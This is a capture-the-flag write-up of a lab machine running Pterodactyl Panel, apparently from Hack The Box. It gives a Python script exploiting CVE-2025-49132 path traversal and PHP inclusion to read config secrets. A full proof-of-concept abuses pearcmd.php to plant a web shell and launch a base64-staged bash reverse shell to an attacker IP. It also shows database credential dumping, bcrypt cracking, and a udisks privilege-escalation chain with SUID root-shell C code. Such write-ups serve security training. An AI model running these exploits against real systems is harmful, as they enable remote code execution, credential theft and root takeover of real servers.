1 RECON
1.1 Port Scan
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -PnResult:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOouXDOkVrDkob+tyXJOHu3twWDqor3xlKgyYmLIrPasaNjhBW/xkGT2otP1zmnkTUyGfzEWZGkZB2Jkaivmjgc=
| 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTXNuX5oJaGQJfvbga+jM+14w5ndyb0DN0jWJHQCDd9
80/tcp open http syn-ack nginx 1.21.5
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5The redirect points to pterodactyl.htb, which reveals a Pterodactyl Panel — a common open-source game server management platform.
1.2 Web Application
The landing page is the official Pterodactyl® panel homepage, built on a PHP + React + Go stack:

A version hint appears directly in the HTML:
<p style="margin-top:2rem;">
Version: 1.20.x <br>SMP and Vanilla Servers.<br> <a href="/changelog.txt">Changelogs</a>
</p>The exposed changelog reads:
MonitorLand - CHANGELOG.txt
=====================================
Version 1.20.X
[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.
[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.
[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
- PHP with required extensions.
- MariaDB 11.8.3 backend.
[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()This isn't just documentation — it's a roadmap.
1.3 Web Fuzzing
1.3.1 Directory Fuzzing
$ gobuster dir -u http://pterodactyl.htb -w /home/Axura/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50 =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://pterodactyl.htb [+] Method: GET [+] Threads: 50 [+] Wordlist: /home/Axura/wordlists/SecLists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== .htaccess (Status: 403) [Size: 153] .hta (Status: 403) [Size: 153] .htpasswd (Status: 403) [Size: 153] index.php (Status: 200) [Size: 1686] phpinfo.php (Status: 200) [Size: 73008] Progress: 4751 / 4751 (100.00%) =============================================================== Finished ===============================================================
The exposed phpinfo.php leaks full PHP configuration details:

1.3.2 Subdomain Fuzzing
$ gobuster vhost -u http://pterodactyl.htb --ad -w /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -t 50 =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://pterodactyl.htb [+] Method: GET [+] Threads: 50 [+] Wordlist: /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s [+] Append Domain: true [+] Exclude Hostname Length: false =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== panel.pterodactyl.htb Status: 200 [Size: 1897] Progress: 20000 / 20000 (100.00%) =============================================================== Finished ===============================================================
The real control panel lives behind panel.pterodactyl.htb.
2 WEB
2.1 Pterodactyl Fingerprints
From the exposed changelog, the battlefield is:
- Pterodactyl Panel v1.11.10
- PHP-PEAR enabled
- MariaDB 11.8.3 backend
- Debugging feature enabled via
phpinfo()
A precise target: Pterodactyl Panel v1.11.10 — time to hunt for exploitable CVEs.
2.2 CVE-2025-49132
2.2.1 CVE Overview
CVE-2025-49132 is a critical remote code execution (RCE) vulnerability in the Pterodactyl Panel.
It affects installations prior to v1.11.11 — including our exact version.
The issue lies in the localization endpoint:
/locales/locale.json?locale=<value>&namespace=<value>The panel fails to properly sanitize locale and namespace. Under Laravel, this can be abused for path traversal and ultimately arbitrary code execution.(GitHub)
2.2.2 Patch Overview
The commit to fix the vulnerability: https://github.com/pterodactyl/panel/commit/24c82b0e335fb5d7a844226b08abf9f176e592f0
The fix introduces a new validation class:app/Http/Requests/Base/LocaleRequest.php, which enforces:
'locale' => ['required', 'string', 'regex:/^[a-z][a-z]$/'],
'namespace' => ['required', 'string', 'regex:/^[a-z]{1,191}$/'],localemust be exactly two lowercase lettersnamespacemust be a simple string of lowercase letters (no., no/, no.., etc.)
It attemps to block any directory traversal or crafted namespace inputs.
The controller signature also changes:
- public function __invoke(Request $request)
+ public function __invoke(LocaleRequest $request)So validation now happens before any logic runs.
Before the patch, the controller did this:
$locales = explode(' ', $request->input('locale') ?? '');
$namespaces = explode(' ', $request->input('namespace') ?? '');
foreach ($locales as $locale) {
foreach ($namespaces as $namespace) {
$response[$locale][$namespace] =
$this->i18n(
$this->loader->load($locale, str_replace('.', '/', $namespace))
);
}
}Problems in this design:
- Took
localeandnamespacestraight from user input - Split on spaces, allowing multiple values
- Did
str_replace('.', '/', $namespace)— replacing periods with slashes, dramatically expanding traversal potential - Passed straight to
$this->loader->load(...)→ which could include arbitrary filesystem paths
That is exactly where traversal becomes possible, allowing path characters like ../ through and translated them into loader calls
After the patch, it becomes:
$locale = $request->input('locale');
$namespace = $request->input('namespace');
$response[$locale][$namespace] =
$this->i18n($this->loader->load($locale, $namespace));Key changes:
- No
explode()— no splitting on spaces - No
str_replace('.', '/')— so.stays a literal dot, not a path separator - Only one locale and namespace are processed
- The parameters are already validated
So any attempt like ../../evil is rejected before reaching the loader.
2.2.3 Path Traversal
Since our target is still unpatched, we can reverse this logic.
Originally, locale was not constrained to two letters, so we could send things rather than expected locale, e.g., en:
locale=../../../evilMeanwhile, namespace was treated as a path hint, not a label.
The intended file resolution is:
resources/lang/{locale}/{namespace}.phpNormally:
/locales/locale.json?locale=en&namespace=auth
→ loads: resources/lang/en/auth.phpBut if we control both fields:
locale = ../../../
namespace = path/filenameThen the resolved path becomes:
resources/lang/../../../path/filename.phpThat is our traversal primitive.
2.2.4 Local PHP File Inclusion
Because the loader always appends .php, this is not a generic file read — it is a PHP inclusion primitive.
We can target existing PHP files reliably, for example:
app/Console/Kernel.phpBut we cannot read plain text files like:
/etc/passwd
/var/log/nginx/access.log
/var/www/pterodactyl/.env
README.md
docker-compose.ymlBecause the loader would try:
include('/etc/passwd.php')Which simply does not exist.
2.2.5 Pterodactyl Project Structure
To target internal PHP files, We can lookup Laravel / Pterodactyl structure from offcial Github repository: https://github.com/pterodactyl/panel/tree/1.0-develop
Expected default project hiearchy in an Nginx server:
/var/www/pterodactyl/
├── app/
│ ├── Console/
│ │ ├── Commands/
│ │ │ ├── Schedule/RunTaskCommand.php
│ │ │ ├── User/MakeUserCommand.php
│ │ │ ├── User/DeleteUserCommand.php
│ │ │ └── ...
│ │ └── Kernel.php
│ │
│ ├── Exceptions/
│ │ └── Handler.php
│ │
│ ├── Http/
│ │ ├── Controllers/
│ │ │ ├── Admin/
│ │ │ │ ├── UserController.php
│ │ │ │ ├── ServerController.php
│ │ │ │ └── ...
│ │ │ ├── Api/
│ │ │ │ ├── Client/
│ │ │ │ │ ├── ServersController.php
│ │ │ │ │ └── ...
│ │ │ │ └── Remote/
│ │ │ │ ├── ServersController.php
│ │ │ │ └── ...
│ │ │ └── Auth/
│ │ │ ├── LoginController.php
│ │ │ └── ...
│ │ │
│ │ ├── Middleware/
│ │ │ ├── AdminAuthenticate.php
│ │ │ └── ...
│ │ │
│ │ └── Requests/
│ │
│ ├── Models/
│ │ ├── User.php
│ │ ├── Server.php
│ │ ├── Node.php
│ │ └── ...
│ │
│ ├── Policies/
│ │ └── ...
│ │
│ ├── Providers/
│ │ ├── AppServiceProvider.php
│ │ ├── AuthServiceProvider.php
│ │ └── ...
│ │
│ ├── Repositories/
│ │
│ ├── Services/
│ │ ├── Nodes/
│ │ │ ├── NodeJWTService.php
│ │ │ └── ...
│ │ ├── Users/
│ │ │ ├── UserCreationService.php
│ │ │ └── ...
│ │ └── ...
│ │
│ └── Traits/
│ └── ...
│
├── bootstrap/
│ └── app.php
│
├── config/
│ ├── app.php
│ ├── auth.php
│ ├── cache.php
│ ├── cors.php
│ ├── database.php
│ ├── filesystems.php
│ ├── hashing.php
│ ├── logging.php
│ ├── mail.php
│ ├── queue.php
│ ├── services.php
│ └── pterodactyl.php
│
├── database/
│ ├── Factories/
│ │ ├── UserFactory.php
│ │ ├── UserSSHKeyFactory.php
│ │ └── ...
│ │
│ ├── Migrations/
│ │ └── (dozens of schema files)
│ │
│ └── Seeders/
│ ├── DatabaseSeeder.php
│ └── ...
│
├── public/
│ └── index.php
│
├── resources/
│ ├── lang/ <- current position
│ │ ├── en/
│ │ │ ├── auth.php
│ │ │ ├── activity.php
│ │ │ ├── exceptions.php
│ │ │ └── validation.php
│ │ └── fr/
│ │ └── auth.php
│ │
│ ├── ...
│
├── routes/
│ ├── admin.php
│ ├── api-client.php
│ ├── api-remote.php
│ ├── console.php
│ └── web.php
│
├── storage/
|
├── vendor/
│ └── (composer dependencies)
│
└── .envOur entry point sits in:
/var/www/pterodactyl/resources/langFrom here, multiple ../ lets us walk upward into the rest of the project.
2.2.6 Pterodactyl LFI Enumeration
With a path-traversal + PHP-only inclusion primitive in hand, we can now enumerate internal PHP files.
Create a small helper:
#!/usr/bin/env python3
import argparse
import requests
import re
parser = argparse.ArgumentParser(description="Pterodactyl locale LFI helper")
parser.add_argument("-u", "--url", required=True,
help="Base panel URL")
parser.add_argument("-p", "--path", required=True,
help="Traversal path, e.g. ../../config/database.php")
args = parser.parse_args()
ENDPOINT = "/locales/locale.json"
def split_path(path: str):
if not path.endswith(".php"):
raise ValueError("Path must end with .php")
# strip .php
path = path[:-4]
# match leading ../../../../... pattern
m = re.match(r"^(?P<trav>(?:\.\./)+)(?P<rest>.*)$", path)
if not m:
raise ValueError("Path must start with ../ traversal")
locale = m.group("trav")
namespace = m.group("rest")
return locale, namespace
locale, namespace = split_path(args.path)
full_url = (
f"{args.url}{ENDPOINT}"
f"?locale={locale}"
f"&namespace={namespace}"
)
print("\n[+] Input path :", args.path)
print("[+] locale :", locale)
print("[+] namespace :", namespace)
print("[+] Generated :", full_url)
try:
r = requests.get(full_url, timeout=10)
print("\n[+] Status:", r.status_code)
print("[+] Preview:\n")
print(r.text[:2000])
except Exception as e:
print("[-] Error:", e)Read config/database.php:
$ python lfi.py \ -u http://panel.pterodactyl.htb \ -p ../../config/database.php [+] Input path : ../../config/database.php [+] locale : ../../ [+] namespace : config/database [+] Generated : http://panel.pterodactyl.htb/locales/locale.json?locale=../../&namespace=config/database [+] Status: 200 [+] Preview: {"..\/..\/":{"config\/database":{"default":"mysql","connections":{"mysql":{"driver":"mysql","url":"","host":"127.0.0.1","port":"3306","database":"panel","username":"pterodactyl","password" :"PteraPanel","unix_socket":"","charset":"utf8mb4","collation":"utf8mb4_unicode_ci","prefix":"","prefix_indexes":"1","strict":"","timezone":"+00{{00}}","sslmode":"prefer","options":{"1014" :"1"}}},"migrations":"migrations","redis":{"client":"predis","options":{"cluster":"redis","prefix":"pterodactyl_database_"},"default":{"scheme":"tcp","path":"\/run\/redis\/redis.sock","hos t":"127.0.0.1","username":"","password":"","port":"6379","database":"0","context":[]},"sessions":{"scheme":"tcp","path":"\/run\/redis\/redis.sock","host":"127.0.0.1","username":"","passwor d":"","port":"6379","database":"1","context":[]}}}}}
This yields MariaDB credentials:
host = 127.0.0.1
database = panel
username = pterodactyl
password = PteraPanelNext, pull config/app.php:
$ python lfi.py \ -u http://panel.pterodactyl.htb \ -p ../../config/app.php [+] Input path : ../../config/app.php [+] locale : ../../ [+] namespace : config/app [+] Generated : http://panel.pterodactyl.htb/locales/locale.json?locale=../../&namespace=config/app [+] Status: 200 [+] Preview: {"..\/..\/":{"config\/app":{"version":"1.11.10","name":"Pterodactyl","env":"production","debug":"","url":"http:\/\/panel.pterodactyl.htb","timezone":"UTC","locale":"en","fallback_locale":" en","key":"base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=","cipher":"AES-256-CBC","exceptions":{"report_all":""},"maintenance":{"driver":"file"},"providers":["Illuminate\\Auth\\Aut hServiceProvider","Illuminate\\Broadcasting\\BroadcastServiceProvider","Illuminate\\Bus\\BusServiceProvider","Illuminate\\Cache\\CacheServiceProvider","Illuminate\\Foundation\\Providers\\C onsoleSupportServiceProvider","Illuminate\\Cookie\\CookieServiceProvider","Illuminate\\Database\\DatabaseServiceProvider","Illuminate\\Encryption\\EncryptionServiceProvider","Illuminate\\F ilesystem\\FilesystemServiceProvider","Illuminate\\Foundation\\Providers\\FoundationServiceProvider","Illuminate\\Hashing\\HashServiceProvider","Illuminate\\Mail\\MailServiceProvider","Ill uminate\\Notifications\\NotificationServiceProvider","Illuminate\\Pagination\\PaginationServiceProvider","Illuminate\\Pipeline\\PipelineServiceProvider","Illuminate\\Queue\\QueueServicePro vider","Illuminate\\Redis\\RedisServiceProvider","Illuminate\\Auth\\Passwords\\PasswordResetServiceProvider","Illuminate\\Session\\SessionServiceProvider","Illuminate\\Translation\\Transla tionServiceProvider","Illuminate\\Validation\\ValidationServiceProvider","Illuminate\\View\\ViewServiceProvider","Pterodactyl\\Providers\\ActivityLogServiceProvider","Pterodactyl\\Provider s\\AppServiceProvider","Pterodactyl\\Providers\\AuthServiceProvider","Pterodactyl\\Providers\\BackupsServiceProvider","Pterodactyl\\Providers\\BladeServiceProvider","Pterodactyl\\Providers \\EventServiceProvider","Pterodactyl\\Providers\\HashidsServiceProvider","Pterodactyl\\Providers\\RouteServiceProvider","Pterodactyl\\Providers\\RepositoryServiceProvider","Pterodactyl\\Pr oviders\\ViewComposerServiceProvider","Prologue\\Alerts\\AlertsServiceProvider"],"aliases":{"App":"Illuminate\\Support\\
From this we recover Laravel's application key:
base64{UaThTPQnUjrrK61o}+Luk7P9o4hM+gl4UiMJqcbTSThY=Not every PHP file is readable. For example:
$ python lfi.py \ -u http://panel.pterodactyl.htb \ -p ../../database/Factories/UserSSHKeyFactory.php [+] Input path : ../../database/Factories/UserSSHKeyFactory.php [+] locale : ../../ [+] namespace : database/Factories/UserSSHKeyFactory [+] Generated : http://panel.pterodactyl.htb/locales/locale.json?locale=../../&namespace=database/Factories/UserSSHKeyFactory [+] Status: 500 [+] Preview: [...snip...]
returns 500 — the file exists, but inclusion fails.
2.2.7 LFI → RCE
Our LFI primitive lets us include arbitrary existing PHP files, but it does not yet give command execution.
To bridge LFI to RCE, two classic routes exist:
- Upload our own PHP and include it, or
- Abuse an existing server-side script that writes files when executed.
There is no apparent upload feature here, so we pursue the second path.
Upload exploit method can refer to section 5.2.
2.2.7.1 pearcmd.php
A well-documented technique in LFI exploitation involves abusing PEAR's pearcmd.php utility. PEAR is a legacy PHP package manager that ships with many Linux distributions and container images.
Reference: File Inclusion/Path traversal - HackTricks
Under normal circumstances, pearcmd.php is a CLI program, invoked like:
php /usr/local/lib/php/pearcmd.php <command> <args...>One of its subcommands is config-create, which writes a PEAR configuration file to disk.
The key insight behind the "URL-args" trick is that when pearcmd.php is executed in a web context, PHP still exposes the raw query string to the script. Any tokens in the URL that do not contain = are not treated as normal key–value parameters; instead, they appear as bare strings that pearcmd.php can interpret as positional CLI arguments.
For example, a URL like:
/index.php?foo&bar&bazdoes not create three variables — it leaves foo, bar, and baz as raw tokens in the query string. Scripts that behave like CLI wrappers (such as pearcmd.php) may read these tokens as command-line arguments.
An example GET request where the LFI entry sits in the file parameter:
GET /index.php?+config-create+/&
file=/usr/local/lib/php/pearcmd.php&
/<?=phpinfo()?>+/tmp/hello.phpThis is intended to do two things at once:
- Execute
pearcmd.php(via LFI or misrouting), and - Smuggle CLI arguments through the URL, where:
+config-create+/acts like a CLI command, and/<?=phpinfo()?>+/tmp/hello.phpis interpreted as payload + destination path.
If pearcmd.php accepts these as CLI arguments, it results in a new file:
/tmp/hello.phpcontaining:
<?=phpinfo()?>This gives us an arbitrary file write primitive.
2.2.7.2 RCE Workflow
Our existing primitive from CVE-2025-49132 performs an inclusion equivalent to:
include base_path("resources/lang/{$locale}/{$namespace}.php");So we first include PEAR:
GET /locales/locale.json?
locale=../../../../../usr/local/lib/php&
namespace=pearcmdThis successfully loads /usr/local/lib/php/pearcmd.php.
Through our
lfi.pywe can confirm that response 500, which means the gadget exists and is loadable.
So next we append "bare parameters" like:
+config-create+/These are parsed inside pearcmd.php as if we had executed:
pearcmd config-create /Combine both ideas into a single malicious request:
GET /locales/locale.json?
+config-create+/&
locale=../../../../../usr/local/lib/php&
namespace=pearcmd&
/<?=system($_GET['cmd'])?>+/tmp/shell.phpThis makes PEAR write:
/tmp/shell.phpcontaining a command-execution backdoor.
Finally, include our shell using the same LFI primitive:
GET /locales/locale.json?
locale=../../../../../tmp&
namespace=shellThen execute commands:
GET /tmp/payload.php?cmd=idWe will gain RCE (no command feedback though in this case).
2.2.8 PoC
We can automate the entire exploit chain with a single Python script:
#!/usr/bin/env python3
import argparse, subprocess, base64, urllib.parse, sys
def run(cmd: str):
"""Run curl and return (body, status_code)."""
full = f"curl -sS -w '\\n%{{http_code}}' {cmd}"
out = subprocess.check_output(full, shell=True, text=True)
body, code = out.rsplit("\n", 1)
return body, int(code)
def build_launcher(attacker_ip: str, attacker_port: str) -> str:
"""Create a base64-staged reverse shell launcher."""
rev_shell = f"/bin/bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"
encoded = base64.b64encode(rev_shell.encode()).decode()
launcher = f"echo {encoded} | base64 -d | /bin/bash"
return launcher.replace(" ", "${IFS}")
def write_payload(base: str, launcher: str):
"""Stage 1 — abuse pearcmd to write /tmp/rev.php"""
php = f"<?php @system('{launcher}'); ?>"
encoded_php = urllib.parse.quote(php, safe="")
locale_traversal = "../../../../../../usr/local/lib/php"
url = (
f'"{base}/locales/locale.json?'
"+config-create+/&"
f"locale={locale_traversal}&"
"namespace=pearcmd&"
f'/{encoded_php}+/tmp/rev.php"'
)
print("\n[*] STAGE 1 — Writing reverse shell payload via pearcmd")
print("[>] Request:")
print(url)
body, code = run(url)
if code == 200:
print(f"[+] HTTP status: {code}")
else:
print("[-] Starge 1 failed")
sys.exit(1)
def trigger_payload(base: str):
"""Stage 2 — include /tmp/rev.php via CVE-2025-49132 LFI"""
url = f'"{base}/locales/locale.json?' "locale=../../../../../tmp&" 'namespace=rev"'
print("\n[*] STAGE 2 — Triggering LFI include")
print("[>] Request:")
print(url)
body, code = run(url)
if code == 200:
print(f"[+] HTTP status: {code}")
else:
print("[-] Starge 2 failed")
sys.exit(1)
def main():
ap = argparse.ArgumentParser()
ap.add_argument(
"-t", "--target", required=True, help="target url vulnerable to CVE-2025-49132"
)
ap.add_argument("-i", "--ip", required=True, help="attacker listener IP")
ap.add_argument("-p", "--port", required=True, help="attacker listener port")
args = ap.parse_args()
base = args.target.rstrip("/")
launcher = build_launcher(args.ip, args.port)
write_payload(base, launcher)
print("\n[ EXPLOIT READY ]")
print("--------------------------------------------------")
print(f"Start listener: nc -lvnp {args.port}")
input("Press Enter to continue...")
trigger_payload(base)
print("[+] LFI trigger already sent — check listener!")
if __name__ == "__main__":
main()Run:
python poc.py \
-t http://panel.pterodactyl.htb \
-i $attackerIP -p 60001Shell as wwwrun:

3 USER
From 2.2.6 we retrieved the DB creds for MariaDB. Connect:
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 panelEnumerate users:
MariaDB [panel]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| panel |
| test |
+--------------------+
3 rows in set (0.001 sec)
MariaDB [panel]> use panel;
Database changed
MariaDB [panel]> select * from users;
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
| id | external_id | uuid | username | email | name_first | name_last | password
| remember_token | language | root_admin | use_totp | totp_secret | totp_authenticated_at | gravatar | created_at | updated_at
|
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
| 2 | NULL | 5e6d956e-7be9-41ec-8016-45e434de8420 | headmonitor | [email protected] | Head | Monitor | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5
gD2 | OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU | en | 1 | 0 | NULL | NULL | 1 | 2025-09-16 17:15:41 | 2025-09-16 17
:15:41 |
| 3 | NULL | ac7ba5c2-6fd8-4600-aeb6-f15a3906982b | phileasfogg3 | [email protected] | Phileas | Fogg | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC
9Pi | 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8 | en | 0 | 0 | NULL | NULL | 1 | 2025-09-16 19:44:19 | 2025-11-07 18
:28:50 |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+----------------------------------------------------------
----+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+--------------
-------+
2 rows in set (0.001 sec)
Two accounts appear:
- headmonitor — root admin
- phileasfogg3 — regular user
The bcrypt hash for phileasfogg3 is weak and cracks quickly:
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLz...vGC9PiUse it to SSH in:
$ ssh [email protected] ([email protected]) Password: Have a lot of fun... Last login: Sun Feb 8 11:01:53 2026 from 10.10.14.22 Last login: Sun Feb 8 11:06:49 2026 from 10.10.14.22 phileasfogg3@pterodactyl:~$ ls -a . .. .bash_history .bashrc bin .cache .config .emacs .fonts .inputrc .local .profile user.txt phileasfogg3@pterodactyl:~$ cat user.txt 2d****************************6d
User flag secured.
4 ROOT
4.1 Local Enumeration
Run LinPEAS. Interesting signals appear immediately.
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root 2907 0.0 0.2 49180 5184 ? Ss 03:36 0:00 /usr/lib/postfix/bin//master -w
postfix 2911 0.0 0.4 65760 8832 ? S 03:36 0:00 _ qmgr -l -t fifo -u
postfix 22025 0.0 0.4 49212 8704 ? S 10:15 0:00 _ pickup -l -t fifo -u
╔══════════╣ Analyzing Env Files (limit 70)
-rw-r--r-- 1 wwwrun www 1092 Dec 29 12:35 /var/www/pterodactyl/.env
MAIL_MAILER=smtp
MAIL_HOST=smtp.example.com
MAIL_PORT=25
MAIL_USERNAME=
MAIL_PASSWORD=
MAIL_ENCRYPTION=tls
[email protected]
MAIL_FROM_NAME="Pterodactyl Panel"
APP_SERVICE_AUTHOR="[email protected]"
PTERODACTYL_TELEMETRY_ENABLED=false
RECAPTCHA_ENABLED=false
╔══════════╣ SGID
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwxr-sr-x 1 root maildrop 19K May 27 2024 /usr/sbin/postdrop
-rwxr-sr-x 1 root maildrop 11K May 27 2024 /usr/sbin/postlog (Unknown SGID binary)
-rwxr-sr-x 1 root maildrop 23K May 27 2024 /usr/sbin/postqueue
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
/var/spool/mail
/var/spool/mail/phileasfogg3
/var/tmp
╔══════════╣ Searching installed mail applications
config.postfix
postfix
sendmailThe presence of an active Postfix service suggests that system components may communicate warnings or alerts to local users via mail.
Check that exposed /var/spool/mail/phileasfogg3 :
phileasfogg3@pterodactyl:~$ id uid=1002(phileasfogg3) gid=100(users) groups=100(users) phileasfogg3@pterodactyl:~$ postlog Absolute path to 'postlog' is '/usr/sbin/postlog', so running it may require superuser privileges (eg. root). phileasfogg3@pterodactyl:~$ ls -ld /var/spool/mail/phileasfogg3 -rw-rw---- 1 phileasfogg3 mail 960 Dec 29 15:58 /var/spool/mail/phileasfogg3
Read mail:
From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Attention all users,
Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.
Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.
Report any signs of compromise immediately to [email protected]
— HeadMonitor
System AdministratorKey line:
"Unusual activity has been observed from the udisks daemon (udisksd)."
4.2 UDisks
udisksd is a root daemon that exposes disk operations over D-Bus to unprivileged users (like plugging in and accessing a USB).
In practice, this means:
Unprivileged user
|
D-Bus
|
udisksd (runs as root)
|
Actual disk operations on the systemIt handles things like:
- Loop devices
- Mounting filesystems
- Partition management
- Removable media
If we can abuse it, we get a powerful primitive.
First, check what the system sees:
phileasfogg3@pterodactyl:~$ udisksctl status
MODEL REVISION SERIAL DEVICE
--------------------------------------------------------------------------
VMware Virtual disk 2.0 6000c29b0bffcbc12f272cb434ca9f90 sda
We can enumerate the main disk (/dev/sda) — this is expected.
Then we try a basic loop setup via client api udisksctl loop-setup:
phileasfogg3@pterodactyl:~$ truncate -s 10M /tmp/test.img phileasfogg3@pterodactyl:~$ udisksctl loop-setup -f /tmp/test.img ==== AUTHENTICATING FOR org.freedesktop.udisks2.loop-setup ==== Authentication is required to set up a loop device Authenticating as: root Password:
So basic loop creation is privileged, as designed – It makes a lot sense that Linux would restrict an SSH session to use devices like USB physically.
At this point we know:
- We can talk to udisksd, of course
- But sensitive actions require authorization
The mailbox warning suggests someone tried to do more than just enumerate.
That's our next lead.
4.3 LPE on Udisks
Looking at recent vulnerabilities in udisksd's authorization layer, two CVEs fit our situation perfectly: CVE-2025-6018 and CVE-2025-6019. Together, they form a clean privilege-escalation chain — exactly what we need after seeing the loop-setup policy barrier.
4.3.1 CVE-2025-6018
udisks uses a guard called allow_active to block dangerous operations on devices that are already in use or mounted.
Imagine, if an attacker can "insert" a bad USB stick remotely after gaining shell, that would be a disaster.
CVE-2025-6018 breaks that guard.
In practice, it lets us bypass or manipulate allow_active, forcing udisksd to proceed with operations it should normally refuse.
Think of it as the permission bypass, that allows us to use "physical" devices remotely like a real active user sitting on the desk.
4.3.2 CVE-2025-6019
CVE-2025-6019 is about malicious filesystem images.
Normally the flow looks like this:
user : "Please attach my disk image"
udisksd: "OK" → mounts it as rootIf we were already a sudo user, that would be fine. But we're not.
So first we abuse CVE-2025-6018 to bypass the policy check, then we get udisksd to mount our image with root privileges anyway.
However, simply mounting an image does not give privesc by itself. The real issue is this:
A specially crafted XFS image can trick
udisksdinto performing privileged side effects during mounting.
The attack workflow becomes:
- Build a weaponized XFS image
- Drop it somewhere writable on the target
- Ask
udisksdto attach it - Bypass protections via CVE-2025-6018
- Let
udisksdprocess the image as root - The crafted filesystem layout triggers escalation
I'll walk through the exact exploitation details in the next steps.
4.4 Exploit
The privilege chain is simple and brutal:
- 6018 gives us
allow_active(auth bypass, session spoof) - 6019 turns
allow_active + udisksinto root (toctou code execution)
We start by weaponizing CVE-2025-6019.
4.4.1 CVE-2025-6019 [1]
4.4.1.1 Craftt Malicious Binary
A compact SUID payload that gives a root shell (repo), just adding a dummy main function to construct a standalone ELF executable:
// xpl.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] Pwn library loaded!\n");
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *argv[] = { "sh", NULL };
static char *envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", argv, envp);
printf("[!] This should not be reached!\n");
}
/**
* dummy main to keep process alive
*/
int main() {
pause();
return 0;
}On attack machine, build it:
gcc -static -o xpl xpl.cThis is our root payload.
4.4.1.2 Create XFS Filesystem
We need a real XFS image to be mounted on the target, which is required by CVE-2025-6019.
If on kali, it will be much easier to create an image of small size, e.g., 10MB, with deliberately loose restriction design.
On most distros the minimum size is ~300MB, so:
# 1) Create space (minimun 300M required for XFS)
dd if=/dev/zero of=xpl.img bs=1M count=300
# 2) Format as LEGACY XFS that libblockdev likes
mkfs.xfs -f \
-m crc=0 \
-n ftype=0 \
xpl.imgThis produces a legacy XFS layout that the vulnerable resize path can handle on Pterodactyl.
